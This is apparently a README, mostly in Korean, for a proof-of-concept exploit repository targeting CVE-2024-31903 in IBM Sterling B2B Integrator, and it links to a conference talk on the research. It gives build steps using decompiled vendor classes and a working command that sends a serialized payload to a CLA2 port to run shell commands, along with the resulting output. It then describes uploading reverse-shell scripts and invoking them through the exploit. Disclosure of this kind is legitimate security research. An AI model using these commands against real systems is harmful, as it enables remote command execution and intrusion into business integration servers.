
IBM Sterling B2B Integrator 대상 LPE 및 RCE(CVE-2024-31903) 공격을 위한 PoC 코드
Proof of concept code for the exploitation of the vulnerabilities discovered against IBM Sterling B2B Integrator, versions 6.2.0.0 to 6.2.0.2, and 6.0.0.0 to 6.1.2.5 for Linux, Windows and AIX systems:
More details about these issues can be found in my DistricCon talk "To B or not 2B: Breaking the IBM B2B Integrator with, and without authentication":
https://www.districtcon.org/bios-and-talks-2025/to-b-or-not-to-b
이 저장소의 대부분의 코드는 LPE 명령 주입 공격에 대한 것입니다.
Python 바이너리 클라이언트 bin_client.py는 CLA2에 수동으로 메시지를 전송하여 역직렬화 RCE 취약점을 악용할 수 있도록 합니다.
$ java Main
$ Usage: Main <cmdLine> <outfile_or_SEND> [host] [port]
PoC는 두 개의 매개변수를 받습니다:
bin_client.py와 같은 도구로 수동 전송), 또는 "SEND" 문자열을 입력하여 즉시 host:port로 전송 (CLA2 클라이언트가 수신 중인 곳)이 저장소에 포함된 소스 코드는 의도적으로 불완전합니다. CLA2 서브시스템의 특정 클래스가 필요하기 때문입니다. 설치 디렉터리의 파일 시스템 권한에 따라 JAR 파일에 접근할 수 있을 수도 있습니다.
JAR 디컴파일에서 관련 파일을 검색했다고 가정합니다. 이는 IBM IP를 구성하므로 여기에 업로드되지 않습니다.
CLA2Client.jar 디컴파일
디컴파일된 코드에서 CmdLine2Result.java 및 CmdLine2Parms.java 파일을 찾습니다.
이를 Main.java 옆에 복사하여 원본 애플리케이션의 Java 패키지 디렉터리 구조를 복제합니다.
/src/com/sterlingcommerce/woodstock/services/cmdline2/
${B2BHOME}/INSTALL/jdk/bin/javac src/com/sterlingcommerce/woodstock/services/cmdline2/*.java
${B2BHOME}/appl/SFG/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main '/bin/sh -c "id > /tmp/result"' SEND 127.0.0.1 5052
[+] Creating object...
[+] Sending object to 127.0.0.1:5052...
[+] ...Sent!
[+] Receiving header...
[+] ...header received: RESULT
[+] Receiving result...
[+] Result received:
##[DEBUG]## CmdLine2Result:
fileSize=0
outputNameLong=null
outputNameShort=null
******* end of CmdLine2Result *******
[+] clr.statusRpt: null
[+] clr.exceptionString: null
[+] clr.somethingToLog: CmdLine2Thread.runCommand: cmdLine before execution=/bin/sh -c "id > /tmp/result"
##[REMOTE DEBUG]## parm0=/bin/sh
##[REMOTE DEBUG]## parm1=-c
##[REMOTE DEBUG]## parm2=id > /tmp/result
revshell.py 및 revshell_listener.py 스크립트를 대상 시스템에 업로드하고 리스너를 시작합니다. 그런 다음 PoC의 명령 매개변수를 아래와 같이 리버스 셸 스크립트 호출로 바꿉니다:${B2BHOME}/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main 'python3 /tmp/revshell.py 9090' SEND